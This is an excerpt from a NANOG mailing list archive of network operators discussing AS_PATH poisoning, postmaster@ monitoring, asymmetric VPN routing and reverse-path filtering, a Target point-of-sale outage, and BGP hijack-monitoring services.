<2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> Message-ID: <46BDCC34-CA90-4930-B27E-883EEFFB9FC4@delong.com> > On Jun 15, 2019, at 5:43 AM, Job Snijders wrote: > > On Sat, Jun 15, 2019 at 2:38 PM Owen DeLong wrote: >> Job, >> >> Permit me to apply some reflective listening to your statement: >> >> What I heard you say is: “I’m not going to offer a solution to your problem, but you shouldn’t use the one you have that currently works because some things my friends and I are doing react poorly to it and you may suffer some consequences as a result.” > > I have no idea how you would arrive at such a contrived convoluted > interpretation. I'm sorry I can't help further your understanding of > how modern day Internet routing works. > > Kind regards, > > Job It’s neither contrived, nor convoluted. It’s pretty much exactly what you said. I have a pretty good understanding of how modern internet routing works and I wasn’t asking you to clarify that. I was pointing out that while you told the guy not to use a tool that’s been working for him, you didn’t actually answer his question, nor did you offer any useful alternative. Owen From owen at delong.com Sat Jun 15 14:51:34 2019 From: owen at delong.com (Owen DeLong) Date: Sat, 15 Jun 2019 07:51:34 -0700 Subject: someone is using my AS number In-Reply-To: <20190615130312.GH32047@hanna.meerval.net> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190615130312.GH32047@hanna.meerval.net> Message-ID: > On Jun 15, 2019, at 6:03 AM, Job Snijders wrote: > > On Sat, Jun 15, 2019 at 05:32:21AM -0700, Owen DeLong wrote: >>> What is the principal harm of doing this? Honest question. I'm not advocating for anything, just curious. >>> >>> Excellent question. >>> >>> 1/ We can’t really expect on the loop detection to work that way at >>> the “jacked” side. So if this is innocent traffic engineering, it is >>> unreliable at best. >> >> Why not? > > There is no signal from the remote ASN (the one that receive the route > announcement) to the Originator ASN about the remote ASN's loop > detection policies. Therefor, since you can't know what the remote side > will do ahead of time. The only recourse left at that point is active > probing (trial & error). Trial and error, where the 'error' state may be > an hard outage, means that the method is unreliable. That’s absurd… There’s a pre-defined loop detection behavior that is documented in the RFCs. It’s reasonable to expect the remote ASN to abide by it. Yes, I should understand that there’s a possibility they don’t follow that and will leak the route in despite the poisoning. However, that’s relatively easy to test and has a low probability of changing over time. Even moreso when you consider that the likely places where such poisoning would be useful would almost certainly be transit ASNs while it’s highly unlikely that deactivating loop detection would be used outside of a stub ASN. > >> Since this TE method is unlikely to be used to control propagation >> to/through a stub ASN, it ought to be pretty reliable for the intended >> purpose. > > To all other people - AS_PATH poisoning, as a method to perform traffic > engineering, is *not* reliable and can lead to hard outages. The only place it will lead to a hard outage is if the route gets rejected from somewhere other than the intended target of the poisoning due to tripping a peer-lock filter (unlikely if done carefully). It shouldn’t cause any issues with RPKI filtering or most other filtering currently in common use. In the future if we ever get full path validation, then there’s a real issue. However, I’m betting we’ve standardized the replacement for IPv6 before that actually happens. Owen From job at instituut.net Sat Jun 15 16:21:32 2019 From: job at instituut.net (Job Snijders) Date: Sat, 15 Jun 2019 18:21:32 +0200 Subject: someone is using my AS number In-Reply-To: <46BDCC34-CA90-4930-B27E-883EEFFB9FC4@delong.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> <46BDCC34-CA90-4930-B27E-883EEFFB9FC4@delong.com> Message-ID: On Sat, Jun 15, 2019 at 4:45 PM Owen DeLong wrote: > > On Jun 15, 2019, at 5:43 AM, Job Snijders wrote: > >> On Sat, Jun 15, 2019 at 2:38 PM Owen DeLong wrote: > > owen> >> What I heard you say is: “I’m not going to offer a solution to your problem, but you shouldn’t use the one you have that currently works because some things my friends and I are doing react poorly to it and you may suffer some consequences as a result.” > > job> > I have no idea how you would arrive at such a contrived convoluted job> > interpretation. I'm sorry I can't help further your understanding of job> > how modern day Internet routing works. owen> I was pointing out that while you told the guy not to use a tool that’s been working for him, you didn’t actually answer his question, nor did you offer any useful alternative. Your summary of this thread is somewhat incomplete. I'll try myself: OP started with - "help, my ASN was used without my permission, what do I do?" - to which NANOG answered "let us know your ASN and we'll use our rolodex". Awesome, the community tried to help Philip Lavine. Then in a follow-up (general context) question from Joe Abley: "what actually can go wrong when the AS_PATH is modified for traffic engineering purposes?", to which three factually correct answers were provided: 1/ it may not help you achieve your traffic engineering goal (you can't know if as-path loop avoidance is enabled or not) 2/ it makes security incident attribution processes harder because poisoned AS_PATH contain fabricated information 3/ it can lead to hard outages because of interaction with EBGP routing security filters (such as peer-lock) Again a productive mail exchange, Joe Abley asked a good question and the resulting public discussion hopefully helped others learn something. Next up: Warren offered in a separate subthread "sometimes it seems AS_PATH poisoning is the only solution for traffic-engineering, what else can we do". To which I add: "we should keep in mind that this 'only solution' may result in hard outages", (I assume hard outages are considered worse than the state of things without traffic engineering). If BGP communities and telephone requests are not available, and AS_PATH poisoning seems to be the "only solution", well, then that is the only "solution" (but poisoning caveats still apply). There probably is no answer to Warren's question, at least I couldn't provide one because communities & phone were taken away. So, you turned something I intended as a simple addition to Warren's message (a point that hadden't yet been mentioned), into a vague statement about "Job and his friends". EBGP AS_PATH filters ("peerlock-style") have existed in many forms, since long before I even had a job in this sector. It is absolutely unclear to me what you are trying to achieve. Kind regards, Job From jlewis at lewis.org Sat Jun 15 16:51:50 2019 From: jlewis at lewis.org (Jon Lewis) Date: Sat, 15 Jun 2019 12:51:50 -0400 (EDT) Subject: someone is using my AS number In-Reply-To: <20190615141846.GI32047@hanna.meerval.net> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190615130312.GH32047@hanna.meerval.net> <20190615141846.GI32047@hanna.meerval.net> Message-ID: On Sat, 15 Jun 2019, Job Snijders wrote: > The moment they mangle the AS_PATH on their announcement and insert 2914 > in their announcement towards NSP, the following can happen: > > When ISP A would want to poison the path, ISP A may expect the following > paths to be visible from the ATT and NTT routes: > > AS_PATH | footnotes > 7018_NSP_ISPA_2914_ISPA | 1 > 2914_7018_NSP_ISPA_2914_ISPA | 1 > 7018_2914_NSP_ISPA_2914_ISPA | 2 > 2914_NSP_ISPA_2914_ISPA | 2 > NSP_ISPA_2914_ISPA | 3 > 7018_2914_ISPA | 4 > 2914_ISPA | 4 > > footnotes: > 1) rejected on AT&T routers due to peerlock (2914 is seen in the AS_PATH) > 2) rejected by NTT routers due to as-path loop detection, thus never > propagated to AT&T. Neither NTT or AT&T will ever use this path. > 3) potentially rejected by NSP due to presence of an upstream ASN in > AS_PATH, thus neither NTT or AT&T will ever this path. > 4) accepted by both AT&T and NTT. note that this effectively is > ISP A single homing I'll conceed that all of the above could happen, and has probably gotten more likely over time as networks get more "careful" about what paths they'll accept from who (too many BGP oops's over the years?). My last use of as-path poisoning for TE was a couple of jobs ago and quite possibly ~10 years ago. I was trying to keep an ISP (Level3) from sending our "TE more specifics" to a customer (TW Telecom), and at least back at that time, Level3 would accept routes from one customer (us) with another customer's (TW Telecom / 4323) ASN in the as-path. Also, since in my case, the as-path poisoning was limited to more specifics that we advertised to one upstream utilizing their supported propagation limiting strings, poor propagation was the goal...and any network that didn't get those routes (i.e. the vast majority of the Internet) would presumably receive the natural as-path aggregate route(s). So, again, if there were propagation problems with the poisoned paths after they were accepted by the one upstream they were advertised to, A) that was the goal, B) you still have an aggregate route path. If ISP1 stopped accepting them, the TE would just stop working entirely, and everyone would use the aggregates. Presumably, anyone using as-path poisoning would have non-poisoned covering aggregates, that "everyone" would use in the cases of rejection or failures causing no non-poisoned route to be available. ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From mlm at pixelgate.net Sat Jun 15 18:38:35 2019 From: mlm at pixelgate.net (Mark Milhollan) Date: Sat, 15 Jun 2019 11:38:35 -0700 (PDT) Subject: Postmaster@ In-Reply-To: <20190614184429.3ca12e83@rellim.com> References: <20190614184429.3ca12e83@rellim.com> Message-ID: On Fri, 14 Jun 2019, Gary E. Miller wrote: >Is it no longer required to monitor the postmaster@ ? > >Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the >rest of us? It is monitored just not by humans and you did receive a response that could be useful though you didn't like it. Microsoft is hardly the only company that prefers web pages over e-mail these days. /mark From me at anuragbhatia.com Sat Jun 15 19:18:55 2019 From: me at anuragbhatia.com (Anurag Bhatia) Date: Sun, 16 Jun 2019 00:48:55 +0530 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: Hi I did disable firewall at both ends to test and the result was similar. Please note firewall rules do allow the UDP ports to establish the VPN link and inside the link, there aren't any firewall restrictions. However, as I said I wonder if or if not the CGNAT device of my link 2 will allow the inbound traffic on the established link. On Thu, Jun 13, 2019 at 3:35 AM Ross Tajvar wrote: > My guess is something is doing stateful filtering. If you send a SYN down > one link and the SYN-ACK comes back a different link, the receiving > firewall will discard it as bogus. You should be able to test this by doing > pcaps to confirm the traffic is arriving (though I'm not familiar with > WireGuard so maybe not), and you should be able to disable this by setting > a rule or unchecking a box in your firewall. > > On Wed, Jun 12, 2019, 5:47 PM Anurag Bhatia wrote: > >> Hello everyone, >> >> Trying to get my head around a certain unexpected behaviour. >> >> >> I am running two site to site VPNs (wireguard now, OpenVPN earlier) >> between my home and a remote server over two different WAN links. Both WAN >> links are just consumer connections - one with public IP and one with >> CGNATed IP. >> The redundancy here is taken care of by the OSPF running via FRR on both >> ends. >> >> >> The unexpected behaviour I get is that if I set OSPF cost to prefer say >> link1 between home -> server and prefer link 2 between server -> home then >> connectivity completely breaks between the routed pools. The point to point >> IPs stay reachable (which is over expected links i.e symmetric via both >> ends). As long as both ends prefer link1 or link2, it works fine. At first, >> I thought it had to do something with NAT but still can't understand how. >> Since VPN tunnels have a keep-alive timer (for 10 seconds), the tunnel is >> always up. Any idea why asymmetric packets are being dropped here? >> This exact behaviour was in case of earlier OpenVPN + bird + iBGP and is >> still the same when I moved everything to Wireguard for VPN + FRR for >> routing + OSPF. >> >> >> >> >> Thanks. >> >> >> -- >> >> >> Anurag Bhatia >> anuragbhatia.com >> > -- Anurag Bhatia anuragbhatia.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From bzs at theworld.com Sat Jun 15 19:38:31 2019 From: bzs at theworld.com (bzs at theworld.com) Date: Sat, 15 Jun 2019 15:38:31 -0400 Subject: Postmaster@ In-Reply-To: <9DEA4301-DF76-4CE8-977E-525604753443@beckman.org> References: <20190614184429.3ca12e83@rellim.com> <9DEA4301-DF76-4CE8-977E-525604753443@beckman.org> Message-ID: <23813.18743.463840.908246@gargle.gargle.HOWL> I wonder how much do-not-reply@ and similar is spammed? On June 15, 2019 at 01:47 mel at beckman.org (Mel Beckman) wrote: > Postmaster@ is so widely spammed as to be useless. Standards, and even laws, can be overcome by reality. Witness the DoNotCall list. > > -mel beckman > > > On Jun 14, 2019, at 6:45 PM, Gary E. Miller wrote: > > > > Yo All! > > > > Is it no longer required to monitor the postmaster@ ? > > > > Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the > > rest of us? > > > > RGDS > > GARY > > --------------------------------------------------------------------------- > > Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 > > gem at rellim.com Tel:+1 541 382 8588 > > > > Veritas liberabit vos. -- Quid est veritas? > > "If you can’t measure it, you can’t improve it." - Lord Kelvin > > > > > > Begin forwarded message: > > > > Date: Sat, 15 Jun 2019 01:38:16 +0000 > > From: The Outlook.com Team > > To: > > Subject: Fw: gem : rellim541 > > > > > > This email address is not monitored. Please visit > > http://postmaster.outlook.com for information about sending email to > > Outlook.com, including troubleshooting information. If you are an > > Outlook.com user please visit http://answers.microsoft.com/ to learn > > more about our services, find answers to your questions, and share your > > feedback. > > > > Sincerely, > > > > Outlook.com Team > > Microsoft > > One Microsoft Way. Redmond, WA 98052, USA. > > > > > > > > Microsoft respects your privacy. To learn more, please read our online > > Privacy Statement at http://privacy.microsoft.com -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* From bill at herrin.us Sat Jun 15 19:54:48 2019 From: bill at herrin.us (William Herrin) Date: Sat, 15 Jun 2019 12:54:48 -0700 Subject: Postmaster@ In-Reply-To: <20190614184429.3ca12e83@rellim.com> References: <20190614184429.3ca12e83@rellim.com> Message-ID: On Fri, Jun 14, 2019 at 6:44 PM Gary E. Miller wrote: > Is it no longer required to monitor the postmaster@ ? > > Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the > rest of us? Where have you been? The champions of the cause gave up years ago. http://www.h-online.com/security/news/item/RFC-Ignorant-org-blacklist-closes-down-1724814.html You could still try http://rfc-clueless.org/ but it doesn't look especially maintained. -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From andy at andyring.com Sat Jun 15 20:04:02 2019 From: andy at andyring.com (Andy Ringsmuth) Date: Sat, 15 Jun 2019 15:04:02 -0500 Subject: Target stores down Message-ID: Curious if anyone knows what happened (or is still happening) with the global outage of POS systems at Target stores. ---- Andy Ringsmuth 5609 Harding Drive Lincoln, NE 68521-5831 (402) 304-0083 andy at andyring.com From bill at herrin.us Sat Jun 15 20:06:30 2019 From: bill at herrin.us (William Herrin) Date: Sat, 15 Jun 2019 13:06:30 -0700 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: On Wed, Jun 12, 2019 at 2:45 PM Anurag Bhatia wrote: > > > I am running two site to site VPNs (wireguard now, OpenVPN earlier) between my home and a remote server over two different WAN links. Both WAN links are just consumer connections - one with public IP and one with CGNATed IP. > The redundancy here is taken care of by the OSPF running via FRR on both ends. > > > The unexpected behaviour I get is that if I set OSPF cost to prefer say link1 between home -> server and prefer link 2 between server -> home then connectivity completely breaks between the routed pools. The point to point IPs stay reachable (which is over expected links i.e symmetric via both ends). As long as both ends prefer link1 or link2, it works fine. At first, I thought it had to do something with NAT but still can't understand how. Since VPN tunnels have a keep-alive timer (for 10 seconds), the tunnel is always up. Any idea why asymmetric packets are being dropped here? This is probably enabled on one or both ends: http://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.kernel.rpf.html Disable it. -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Sat Jun 15 21:26:58 2019 From: jared at puck.nether.net (Jared Mauch) Date: Sat, 15 Jun 2019 17:26:58 -0400 Subject: Target stores down In-Reply-To: References: Message-ID: I know what I was told and what I observed in store. They said network issue but it looked more like application/database issue. When they would Scan an item it would not stay scanned. It would delete itself and provide an error (likely when it was recording the inventory debit) They would then manually enter the price and if it was taxable or not. It impacted all their POS terminals. Sometimes it would scan and sometimes not. There is a mini story here about workflow and software improvement for this exception path handling. Either way. Looked more like database and other software issue than actual network issue. Expect inventory to be messed up for a few weeks as a result. Sent from my iCar > On Jun 15, 2019, at 4:04 PM, Andy Ringsmuth wrote: > > Curious if anyone knows what happened (or is still happening) with the global outage of POS systems at Target stores. > > ---- > Andy Ringsmuth > 5609 Harding Drive > Lincoln, NE 68521-5831 > (402) 304-0083 > andy at andyring.com From gtaylor at tnetconsulting.net Sat Jun 15 21:34:47 2019 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Sat, 15 Jun 2019 15:34:47 -0600 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: On 6/15/19 2:06 PM, William Herrin wrote: > This is probably enabled on one or both ends: > > http://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.kernel.rpf.html Do some distros enable this now? I thought it was disabled by default. > Disable it. Or make sure it's using loose (2) filtering. rp_filter - INTEGER 0 - No source validation. 1 - Strict mode as defined in RFC3704 Strict Reverse Path Each incoming packet is tested against the FIB and if the interface is not the best reverse path the packet check will fail. By default failed packets are discarded. 2 - Loose mode as defined in RFC3704 Loose Reverse Path Each incoming packet's source address is also tested against the FIB and if the source address is not reachable via any interface the packet check will fail. -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4008 bytes Desc: S/MIME Cryptographic Signature URL: From frnkblk at iname.com Sat Jun 15 23:49:25 2019 From: frnkblk at iname.com (frnkblk at iname.com) Date: Sat, 15 Jun 2019 18:49:25 -0500 Subject: Target stores down In-Reply-To: References: Message-ID: <002001d523d4$f6981aa0$e3c84fe0$@iname.com> According to the news, sales associates can complete transactions using their (very small) handheld units. Frank -----Original Message----- From: NANOG On Behalf Of Jared Mauch Sent: Saturday, June 15, 2019 4:27 PM To: Andy Ringsmuth Cc: NANOG Subject: Re: Target stores down I know what I was told and what I observed in store. They said network issue but it looked more like application/database issue. When they would Scan an item it would not stay scanned. It would delete itself and provide an error (likely when it was recording the inventory debit) They would then manually enter the price and if it was taxable or not. It impacted all their POS terminals. Sometimes it would scan and sometimes not. There is a mini story here about workflow and software improvement for this exception path handling. Either way. Looked more like database and other software issue than actual network issue. Expect inventory to be messed up for a few weeks as a result. Sent from my iCar > On Jun 15, 2019, at 4:04 PM, Andy Ringsmuth wrote: > > Curious if anyone knows what happened (or is still happening) with the global outage of POS systems at Target stores. > > ---- > Andy Ringsmuth > 5609 Harding Drive > Lincoln, NE 68521-5831 > (402) 304-0083 > andy at andyring.com From tj at pcguys.us Sun Jun 16 01:55:58 2019 From: tj at pcguys.us (TJ Trout) Date: Sat, 15 Jun 2019 18:55:58 -0700 Subject: Bgpmon alternatives? Message-ID: Any simple and easy bgpmon alternatives you guys could recommend? -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Sun Jun 16 02:01:09 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Sat, 15 Jun 2019 22:01:09 -0400 Subject: someone is using my AS number In-Reply-To: <2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> Message-ID: <952.1560650469@turing-police> On Sat, 15 Jun 2019 05:38:23 -0700, Owen DeLong said: > What I heard you say is: ���I���m not going to offer a solution to your problem, > but you shouldn���t use the one you have that currently works because some things > my friends and I are doing react poorly to it and you may suffer some > consequences as a result.��� Umm.. Owen? If "you may suffer some consequences as a result" is true, then your claim the solution "currently works" is just a tad suspect, isn't it? (Personally, I read Job's note as saying "Beware that this may not actually do what you think it should do, and in fact may do the opposite...") -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From mleber at he.net Sun Jun 16 09:25:40 2019 From: mleber at he.net (Mike Leber) Date: Sun, 16 Jun 2019 02:25:40 -0700 Subject: Bgpmon alternatives? In-Reply-To: References: Message-ID: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> On 6/15/19 6:55 PM, TJ Trout wrote: > Any simple and easy bgpmon alternatives you guys could recommend? As a beta service you can try out rt-bgp.he.net.  This is a real time bgp monitoring service we are developing. It's a work in progress so please make sure to send Martin Winter any feedback or feature requests. It works based on contributed BGP feeds, so if you see based on the heat map that you can provide a feed from an area of the world we don't currently have it would be a big favor. Mike. From ximaera at gmail.com Sun Jun 16 09:28:07 2019 From: ximaera at gmail.com (=?UTF-8?Q?T=C3=B6ma_Gavrichenkov?=) Date: Sun, 16 Jun 2019 12:28:07 +0300 Subject: Bgpmon alternatives? In-Reply-To: References: Message-ID: On Sun, Jun 16, 2019, 4:57 AM TJ Trout wrote: > Any simple and easy bgpmon alternatives you guys could recommend? > https://radar.qrator.net/ (this is not an advertisement!) -- Töma > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Brian at ampr.org Sun Jun 16 09:48:27 2019 From: Brian at ampr.org (Brian Kantor) Date: Sun, 16 Jun 2019 02:48:27 -0700 Subject: Bgpmon alternatives? In-Reply-To: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> References: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> Message-ID: <20190616094827.GA34940@meow.BKantor.net> On Sun, Jun 16, 2019 at 02:25:40AM -0700, Mike Leber wrote: > As a beta service you can try out rt-bgp.he.net. This is a real time > bgp monitoring service we are developing. It's interesting, but I don't see any way to do what I primarily use the existing BGPMon for: watch for hijacks. That is, set up one or more prefixes to be continuously monitored and have the monitor send me an email alert when that prefix or a subnet of it begins to be announced by someone new. For example, if I have told it to monitor 44.0.0.0/8 and someone somewhere begins announcing it, or perhaps 44.1.0.0/16, I'd very much like to know about that, along with details of who and where. Then if that announcement is authorized, I can tell the monitoring service that this new entry is NOT a hijack, and it won't bug me about it again. Can it be persuaded to do this? - Brian From mleber at he.net Sun Jun 16 10:59:29 2019 From: mleber at he.net (Mike Leber) Date: Sun, 16 Jun 2019 03:59:29 -0700 Subject: Bgpmon alternatives? In-Reply-To: <20190616094827.GA34940@meow.BKantor.net> References: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> <20190616094827.GA34940@meow.BKantor.net> Message-ID: <6429449a-e076-b4db-62f0-1eb5fc43454f@he.net> I'm sure if it doesn't do exactly that already, we can add it shortly. Some of planned functionality for hijack detection is already live.  That's one of the main reasons for creating this service. Mike. On 6/16/19 2:48 AM, Brian Kantor wrote: > On Sun, Jun 16, 2019 at 02:25:40AM -0700, Mike Leber wrote: >> As a beta service you can try out rt-bgp.he.net. This is a real time >> bgp monitoring service we are developing. > It's interesting, but I don't see any way to do what I primarily > use the existing BGPMon for: watch for hijacks. > > That is, set up one or more prefixes to be continuously monitored > and have the monitor send me an email alert when that prefix or a > subnet of it begins to be announced by someone new. > > For example, if I have told it to monitor 44.0.0.0/8 and someone > somewhere begins announcing it, or perhaps 44.1.0.0/16, I'd very > much like to know about that, along with details of who and where. > > Then if that announcement is authorized, I can tell the monitoring > service that this new entry is NOT a hijack, and it won't bug me > about it again. > > Can it be persuaded to do this? > - Brian From Brian at ampr.org Sun Jun 16 11:20:50 2019 From: Brian at ampr.org (Brian Kantor) Date: Sun, 16 Jun 2019 04:20:50 -0700 Subject: Bgpmon alternatives? In-Reply-To: <6429449a-e076-b4db-62f0-1eb5fc43454f@he.net> References: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> <20190616094827.GA34940@meow.BKantor.net> <6429449a-e076-b4db-62f0-1eb5fc43454f@he.net> Message-ID: <20190616112050.GA35876@meow.BKantor.net> That would be wonderful. Thank you! - Brian On Sun, Jun 16, 2019 at 03:59:29AM -0700, Mike Leber wrote: > I'm sure if it doesn't do exactly that already, we can add it shortly. > > Some of planned functionality for hijack detection is already live.  > That's one of the main reasons for creating this service. > > Mike. > > On 6/16/19 2:48 AM, Brian Kantor wrote: > > On Sun, Jun 16, 2019 at 02:25:40AM -0700, Mike Leber wrote: > >> As a beta service you can try out rt-bgp.he.net. This is a real time > >> bgp monitoring service we are developing. > > It's interesting, but I don't see any way to do what I primarily > > use the existing BGPMon for: watch for hijacks. > > > > That is, set up one or more prefixes to be continuously monitored > > and have the monitor send me an email alert when that prefix or a > > subnet of it begins to be announced by someone new. > > > > For example, if I have told it to monitor 44.0.0.0/8 and someone > > somewhere begins announcing it, or perhaps 44.1.0.0/16, I'd very > > much like to know about that, along with details of who and where. > > > > Then if that announcement is authorized, I can tell the monitoring > > service that this new entry is NOT a hijack, and it won't bug me > > about it again. > > > > Can it be persuaded to do this? > > - Brian From mh at xalto.net Sun Jun 16 11:40:56 2019 From: mh at xalto.net (Michael Hallgren) Date: Sun, 16 Jun 2019 13:40:56 +0200 Subject: Bgpmon alternatives? In-Reply-To: <20190616112050.GA35876@meow.BKantor.net> References: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> <20190616094827.GA34940@meow.BKantor.net> <6429449a-e076-b4db-62f0-1eb5fc43454f@he.net> <20190616112050.GA35876@meow.BKantor.net> Message-ID: RIS Live API is a choice for this. mh Le 16 juin 2019 à 13:21, à 13:21, Brian Kantor a écrit: >That would be wonderful. Thank you! > - Brian > > >On Sun, Jun 16, 2019 at 03:59:29AM -0700, Mike Leber wrote: >> I'm sure if it doesn't do exactly that already, we can add it >shortly. >> >> Some of planned functionality for hijack detection is already live.  >> That's one of the main reasons for creating this service. >> >> Mike. >> >> On 6/16/19 2:48 AM, Brian Kantor wrote: >> > On Sun, Jun 16, 2019 at 02:25:40AM -0700, Mike Leber wrote: >> >> As a beta service you can try out rt-bgp.he.net. This is a real >time >> >> bgp monitoring service we are developing. >> > It's interesting, but I don't see any way to do what I primarily >> > use the existing BGPMon for: watch for hijacks. >> > >> > That is, set up one or more prefixes to be continuously monitored >> > and have the monitor send me an email alert when that prefix or a >> > subnet of it begins to be announced by someone new. >> > >> > For example, if I have told it to monitor 44.0.0.0/8 and someone >> > somewhere begins announcing it, or perhaps 44.1.0.0/16, I'd very >> > much like to know about that, along with details of who and where. >> > >> > Then if that announcement is authorized, I can tell the monitoring >> > service that this new entry is NOT a hijack, and it won't bug me >> > about it again. >> > >> > Can it be persuaded to do this? >> > - Brian -------------- next part -------------- An HTML attachment was scrubbed... URL: From hank at efes.iucc.ac.il Sun Jun 16 12:00:39 2019 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Sun, 16 Jun 2019 15:00:39 +0300 Subject: Bgpmon alternatives? In-Reply-To: References: Message-ID: <919012c7-457d-8f66-50c1-920f1f29da2c@efes.iucc.ac.il> On 16/06/2019 12:28, Töma Gavrichenkov wrote: > On Sun, Jun 16, 2019, 4:57 AM TJ Trout > wrote: > > Any simple and easy bgpmon alternatives you guys could recommend? > > > > https://radar.qrator.net/ > > (this is not an advertisement!) > > -- > Töma > I have been a subscribed member to your service for a number of years and do not see where I can receive an email pushed to my my inbox of a suspected BGP hijack.  Can that be added? Regards, Hank -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Sun Jun 16 12:54:46 2019 From: jared at puck.nether.net (Jared Mauch) Date: Sun, 16 Jun 2019 08:54:46 -0400 Subject: Bgpmon alternatives? In-Reply-To: References: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> <20190616094827.GA34940@meow.BKantor.net> <6429449a-e076-b4db-62f0-1eb5fc43454f@he.net> <20190616112050.GA35876@meow.BKantor.net> Message-ID: Yes. Here’s some sample code: https://github.com/jaredmauch/rislive It also helps the more feeds they get, please add feeds to them so there are more views of any possible malicious activities. Sent from my iCar > On Jun 16, 2019, at 7:40 AM, Michael Hallgren wrote: > > RIS Live API is a choice for this. > > mh >> Le 16 juin 2019, à 13:21, Brian Kantor a écrit: >> That would be wonderful. Thank you! >> - Brian >> >> >>> On Sun, Jun 16, 2019 at 03:59:29AM -0700, Mike Leber wrote: >>> I'm sure if it doesn't do exactly that already, we can add it shortly. >>> >>> Some of planned functionality for hijack detection is already live. >>> That's one of the main reasons for creating this service. >>> >>> Mike. >>> >>>> On 6/16/19 2:48 AM, Brian Kantor wrote: >>>>> On Sun, Jun 16, 2019 at 02:25:40AM -0700, Mike Leber wrote: >>>>> As a beta service you can try out rt-bgp.he.net. This is a real time >>>>> bgp monitoring service we are developing. >>>> It's interesting, but I don't see any way to do what I primarily >>>> use the existing BGPMon for: watch for hijacks. >>>> >>>> That is, set up one or more prefixes to be continuously monitored >>>> and have the monitor send me an email alert when that prefix or a >>>> subnet of it begins to be announced by someone new. >>>> >>>> For example, if I have told it to monitor 44.0.0.0/8 and someone >>>> somewhere begins announcing it, or perhaps 44.1.0.0/16, I'd very >>>> much like to know about that, along with details of who and where. >>>> >>>> Then if that announcement is authorized, I can tell the monitoring >>>> service that this new entry is NOT a hijack, and it won't bug me >>>> about it again. >>>> >>>> Can it be persuaded to do this? >>>> - Brian -------------- next part -------------- An HTML attachment was scrubbed... URL: From vkotronis at ics.forth.gr Sun Jun 16 13:09:43 2019 From: vkotronis at ics.forth.gr (Vasileios Kotronis) Date: Sun, 16 Jun 2019 16:09:43 +0300 Subject: Bgpmon alternatives? In-Reply-To: References: Message-ID: <3e53fc3a-465f-9ad9-080c-095e0560da01@ics.forth.gr> Hello, in case you would like to check out open-source projects you could try our community tool ARTEMIS https://github.com/FORTH-ICS-INSPIRE/artemis which uses RIS live and Routeviews feeds (as well as optionally local network feeds) to detect hijacks of different types (e.g., sub-prefix, fake origin/neighbor, etc.) in real-time. Best, Vasileios On 16/6/19 4:55 π.μ., TJ Trout wrote: > Any simple and easy bgpmon alternatives you guys could recommend? > > -- ======================================= Vasileios Kotronis Postdoctoral Researcher, member of the INSPIRE Group INSPIRE = INternet Security, Privacy, and Intelligence REsearch Telecommunications and Networks Lab (TNL) Foundation for Research and Technology - Hellas (FORTH) Leoforos Plastira 100, Heraklion 70013, Greece e-mail : vkotronis at ics.forth.gr url: http://inspire.edu.gr ======================================= From tj at pcguys.us Sun Jun 16 15:42:13 2019 From: tj at pcguys.us (TJ Trout) Date: Sun, 16 Jun 2019 08:42:13 -0700 Subject: Bgpmon alternatives? In-Reply-To: <3e53fc3a-465f-9ad9-080c-095e0560da01@ics.forth.gr> References: <3e53fc3a-465f-9ad9-080c-095e0560da01@ics.forth.gr> Message-ID: Thanks Mike On Sun, Jun 16, 2019, 6:10 AM 